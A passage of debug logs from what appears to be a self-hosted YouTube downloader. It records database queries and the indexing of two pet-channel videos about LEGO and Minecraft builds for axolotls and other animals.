my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- (truncated) 11:13:08.627 [debug] QUERY OK source="sources" db=0.3ms idle=70.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:13:08.628 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:13:08.628 [debug] QUERY OK source="media_items" db=0.2ms idle=4.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [116190] 11:13:08.628 [debug] Current batch of media processed. Will check again in 1000ms 11:13:09.629 [debug] Current batch of media processed. Will check again in 1000ms 11:13:10.630 [debug] Current batch of media processed. Will check again in 1000ms 11:13:11.632 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "#ad To celebrate World Play Day 2025, I partnered with The @LEGO Group to create the ultimate LEGO railway adventure #LEGOWorldPlayDay #LEGOPartner\n\nI Built a Giant LEGO Railway for my Pets! My LEGO train travels through HUGE mountains, glow-in-the-dark and LED lit tunnels and down an insane DIY pool-noodle spiral coaster. But will the train make it or will this end in a complete disaster? \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nWatch as we build an insane 200ft LEGO railway through the studio, passing by some of your favorite animals, including Ralph my Peacock Mantis Shrimp, Mochi, my grocery store lobster, and the beloved duo Lucy and Lemon, my axolotls. We even build my kitten Nori a rube goldberg contraption to feed him treats when the train passes by! In this adventure-filled episode, we also travel to an abandoned railway to learn about trains in the real world! \n\nThis LEGO train trip will have 5 epic stops, including a dual greenhouse filled with live plants and LEGO botanicals, a snowy mountain featuring miniature Christmas trees and LEGO Santa, a cat cafe, a glow-in-the-dark tunnel with glowing crystals and an arid desert ecosystem with LEGO animals and real cacti. The LEGO train will be equipped with a tiny camera so you can see what the train sees, so be on the lookout for all of the hidden LEGO builds along the way! Can you spot them all?\n\nWatch until the end to see if the train makes it through the entire trip in one piece! This video is perfect for anyone who loves LEGO trains, building custom LEGO builds, axolotls, exotic pets, rare animals, DIY projects or is just interested in what it takes to build an epic DIY LEGO railway! \n\nIf you have any comments, suggestions or questions for this LEGO train video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Cat Cafe\" so I notice you 🐈☕️\n\nIf you love LEGO, ecosystems, pets, rescue videos and fish tanks, check out my other videos!\n- I Built Minecraft for a Real Axolotl! \n- Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "duration" => 650, "filename" => "/downloads/shows/Aquarium Info/Season 2025/s2025e061100 - I Built a Giant LEGO Railway for my Pets!.mkv", "id" => "p7q8NnVlbVY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=p7q8NnVlbVY", "playlist_index" => 11, "timestamp" => 1749657921, "title" => "I Built a Giant LEGO Railway for my Pets!", "upload_date" => "20250611"} 11:13:11.634 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1938.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [32] 11:13:11.634 [debug] QUERY OK source="sources" db=0.2ms idle=1939.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:13:11.635 [debug] QUERY OK source="media_items" db=0.4ms idle=1939.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-11 16:05:21Z], 32] 11:13:11.637 [debug] QUERY OK source="media_items" db=1.5ms idle=1075.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["#ad To celebrate World Play Day 2025, I partnered with The @LEGO Group to create the ultimate LEGO railway adventure #LEGOWorldPlayDay #LEGOPartner\n\nI Built a Giant LEGO Railway for my Pets! My LEGO train travels through HUGE mountains, glow-in-the-dark and LED lit tunnels and down an insane DIY pool-noodle spiral coaster. But will the train make it or will this end in a complete disaster? \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nWatch as we build an insane 200ft LEGO railway through the studio, passing by some of your favorite animals, including Ralph my Peacock Mantis Shrimp, Mochi, my grocery store lobster, and the beloved duo Lucy and Lemon, my axolotls. We even build my kitten Nori a rube goldberg contraption to feed him treats when the train passes by! In this adventure-filled episode, we also travel to an abandoned railway to learn about trains in the real world! \n\nThis LEGO train trip will have 5 epic stops, including a dual greenhouse filled with live plants and LEGO botanicals, a snowy mountain featuring miniature Christmas trees and LEGO Santa, a cat cafe, a glow-in-the-dark tunnel with glowing crystals and an arid desert ecosystem with LEGO animals and real cacti. The LEGO train will be equipped with a tiny camera so you can see what the train sees, so be on the lookout for all of the hidden LEGO builds along the way! Can you spot them all?\n\nWatch until the end to see if the train makes it through the entire trip in one piece! This video is perfect for anyone who loves LEGO trains, building custom LEGO builds, axolotls, exotic pets, rare animals, DIY projects or is just interested in what it takes to build an epic DIY LEGO railway! \n\nIf you have any comments, suggestions or questions for this LEGO train video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Cat Cafe\" so I notice you 🐈☕️\n\nIf you love LEGO, ecosystems, pets, rescue videos and fish tanks, check out my other videos!\n- I Built Minecraft for a Real Axolotl! \n- Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Built a Giant LEGO Railway for my Pets!", "75ba65d5-8ed2-49dd-96e6-1ca06f98a82e", "p7q8NnVlbVY", false, "https://www.youtube.com/watch?v=p7q8NnVlbVY", 32, [], 650, false, 11, "/downloads/shows/Aquarium Info/Season 2025/s2025e061100 - I Built a Giant LEGO Railway for my Pets!.mkv", false, false, 98, ~U[2025-06-11 16:05:21Z], ~U[2026-06-03 15:13:11Z], ~U[2026-06-03 15:13:11Z], "#ad To celebrate World Play Day 2025, I partnered with The @LEGO Group to create the ultimate LEGO railway adventure #LEGOWorldPlayDay #LEGOPartner\n\nI Built a Giant LEGO Railway for my Pets! My LEGO train travels through HUGE mountains, glow-in-the-dark and LED lit tunnels and down an insane DIY pool-noodle spiral coaster. But will the train make it or will this end in a complete disaster? \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nWatch as we build an insane 200ft LEGO railway through the studio, passing by some of your favorite animals, including Ralph my Peacock Mantis Shrimp, Mochi, my grocery store lobster, and the beloved duo Lucy and Lemon, my axolotls. We even build my kitten Nori a rube goldberg contraption to feed him treats when the train passes by! In this adventure-filled episode, we also travel to an abandoned railway to learn about trains in the real world! \n\nThis LEGO train trip will have 5 epic stops, including a dual greenhouse filled with live plants and LEGO botanicals, a snowy mountain featuring miniature Christmas trees and LEGO Santa, a cat cafe, a glow-in-the-dark tunnel with glowing crystals and an arid desert ecosystem with LEGO animals and real cacti. The LEGO train will be equipped with a tiny camera so you can see what the train sees, so be on the lookout for all of the hidden LEGO builds along the way! Can you spot them all?\n\nWatch until the end to see if the train makes it through the entire trip in one piece! This video is perfect for anyone who loves LEGO trains, building custom LEGO builds, axolotls, exotic pets, rare animals, DIY projects or is just interested in what it takes to build an epic DIY LEGO railway! \n\nIf you have any comments, suggestions or questions for this LEGO train video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Cat Cafe\" so I notice you 🐈☕️\n\nIf you love LEGO, ecosystems, pets, rescue videos and fish tanks, check out my other videos!\n- I Built Minecraft for a Real Axolotl! \n- Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Built a Giant LEGO Railway for my Pets!", "p7q8NnVlbVY", "https://www.youtube.com/watch?v=p7q8NnVlbVY", 32, 650, false, "/downloads/shows/Aquarium Info/Season 2025/s2025e061100 - I Built a Giant LEGO Railway for my Pets!.mkv", false, ~U[2025-06-11 16:05:21Z]] 11:13:11.638 [debug] QUERY OK source="sources" db=0.2ms idle=75.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:13:11.638 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:13:11.639 [debug] QUERY OK source="media_items" db=0.2ms idle=3.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [116191] 11:13:11.639 [debug] Current batch of media processed. Will check again in 1000ms 11:13:12.639 [debug] Current batch of media processed. Will check again in 1000ms 11:13:13.640 [debug] Current batch of media processed. Will check again in 1000ms 11:13:14.642 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "I built REAL Minecraft for my axolotl! \n\nAfter I saw the new Minecraft movie, I knew I had to build it in real life for my axolotls, Miso and Matcha! In this episode, we even cook a real Minecraft chicken for my cute ragdoll kitten, Nori! Watch until the end to see my axolotls Miso and Matcha react to real Minecraft! This build took a lot of time and effort but I think \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nWatch as we build an epic Minecraft IRL ecosystem for over $5,000 for my axolotls, Miso and Matcha. My axolotls recently had baby axolotls - Miso and Matcha - and they’re finally big enough to live together! So today we’re building them their dream home ecosystem. This $5,000 terrarium spans multiple Minecraft biomes, including a giant forest with real plants, a snowy mountain, mushroom biome, Minecraft village and a lush cave! We even have REAL mobs living in our Minecraft ecosystem, like my lizard Ringo, tiny rasbora fish and more! Can you spot them all?\n\nIn this adventure-filled episode, we travel to the wild to experience Minecraft in real life while hunting for real Minecraft mobs. We also build a DIY 3D printed volcano to experiment in making real lava for our Minecraft ecosystem. \n\nWatch until the end to see my axolotls Miso and Matcha enjoy their new DREAM Minecraft ecosystem! This video is perfect for anyone who loves Minecraft, Minecraft IRL, axolotls, exotic pets, rare animals, DIY projects or is just interested in what it takes to keep axolotls as pets! \n\nIf you have any comments, suggestions or questions for this Minecraft IRL video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Lava Chicken\" so I notice you 🌋🐓\n\nIf you love Minecraft, ecosystems, pets, rescue videos and fish tanks, check out my other videos!\n- Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "duration" => 746, "filename" => "/downloads/shows/Aquarium Info/Season 2025/s2025e051700 - I Built Minecraft for a Real Axolotl!.mkv", "id" => "3UY2Qtkkioo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=3UY2Qtkkioo", "playlist_index" => 12, "timestamp" => 1747508601, "title" => "I Built Minecraft for a Real Axolotl!", "upload_date" => "20250517"} 11:13:14.644 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1947.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [32] 11:13:14.645 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1949.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:13:14.646 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=1950.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-17 19:03:21Z], 32] 11:13:14.648 [debug] QUERY OK source="media_items" db=1.4ms idle=1082.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I built REAL Minecraft for my axolotl! \n\nAfter I saw the new Minecraft movie, I knew I had to build it in real life for my axolotls, Miso and Matcha! In this episode, we even cook a real Minecraft chicken for my cute ragdoll kitten, Nori! Watch until the end to see my axolotls Miso and Matcha react to real Minecraft! This build took a lot of time and effort but I think \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nWatch as we build an epic Minecraft IRL ecosystem for over $5,000 for my axolotls, Miso and Matcha. My axolotls recently had baby axolotls - Miso and Matcha - and they’re finally big enough to live together! So today we’re building them their dream home ecosystem. This $5,000 terrarium spans multiple Minecraft biomes, including a giant forest with real plants, a snowy mountain, mushroom biome, Minecraft village and a lush cave! We even have REAL mobs living in our Minecraft ecosystem, like my lizard Ringo, tiny rasbora fish and more! Can you spot them all?\n\nIn this adventure-filled episode, we travel to the wild to experience Minecraft in real life while hunting for real Minecraft mobs. We also build a DIY 3D printed volcano to experiment in making real lava for our Minecraft ecosystem. \n\nWatch until the end to see my axolotls Miso and Matcha enjoy their new DREAM Minecraft ecosystem! This video is perfect for anyone who loves Minecraft, Minecraft IRL, axolotls, exotic pets, rare animals, DIY projects or is just interested in what it takes to keep axolotls as pets! \n\nIf you have any comments, suggestions or questions for this Minecraft IRL video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Lava Chicken\" so I notice you 🌋🐓\n\nIf you love Minecraft, ecosystems, pets, rescue videos and fish tanks, check out my other videos!\n- Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Built Minecraft for a Real Axolotl!", "ad1c5905-8762-4d05-937b-913535b1b52c", "3UY2Qtkkioo", false, "https://www.youtube.com/watch?v=3UY2Qtkkioo", 32, [], 746, false, 12, "/downloads/shows/Aquarium Info/Season 2025/s2025e051700 - I Built Minecraft for a Real Axolotl!.mkv", false, false, 98, ~U[2025-05-17 19:03:21Z], ~U[2026-06-03 15:13:14Z], ~U[2026-06-03 15:13:14Z], "I built REAL Minecraft for my axolotl! \n\nAfter I saw the new Minecraft movie, I knew I had to build it in real life for my axolotls, Miso and Matcha! In this episode, we even cook a real Minecraft chicken for my cute ragdoll kitten, Nori! Watch until the end to see my axolotls Miso and Matcha react to real Minecraft! This build took a lot of time and effort but I think \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nWatch as we build an epic Minecraft IRL ecosystem for over $5,000 for my axolotls, Miso and Matcha. My axolotls recently had baby axolotls - Miso and Matcha - and they’re finally big enough to live together! So today we’re building them their dream home ecosystem. This $5,000 terrarium spans multiple Minecraft biomes, including a giant forest with real plants, a snowy mountain, mushroom biome, Minecraft village and a lush cave! We even have REAL mobs living in our Minecraft ecosystem, like my lizard Ringo, tiny rasbora fish and more! Can you spot them all?\n\nIn this adventure-filled episode, we travel to the wild to experience Minecraft in real life while hunting for real Minecraft mobs. We also build a DIY 3D printed volcano to experiment in making real lava for our Minecraft ecosystem. \n\nWatch until the end to see my axolotls Miso and Matcha enjoy their new DREAM Minecraft ecosystem! This video is perfect for anyone who loves Minecraft, Minecraft IRL, axolotls, exotic pets, rare animals, DIY projects or is just interested in what it takes to keep axolotls as pets! \n\nIf you have any comments, suggestions or questions for this Minecraft IRL video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Lava Chicken\" so I notice you 🌋🐓\n\nIf you love Minecraft, ecosystems, pets, rescue videos and fish tanks, check out my other videos!\n- Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Built Minecraft for a Real Axolotl!", "3UY2Qtkkioo", "https://www.youtube.com/watch?v=3UY2Qtkkioo", 32, 746, false, "/downloads/shows/Aquarium Info/Season 2025/s2025e051700 - I Built Minecraft for a Real Axolotl!.mkv", false, ~U[2025-05-17 19:03:21Z]] 11:13:14.649 [debug] QUERY OK source="sources" db=0.2ms idle=81.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:13:14.649 [debug] QUERY OK source="media_profiles" db=0.2ms 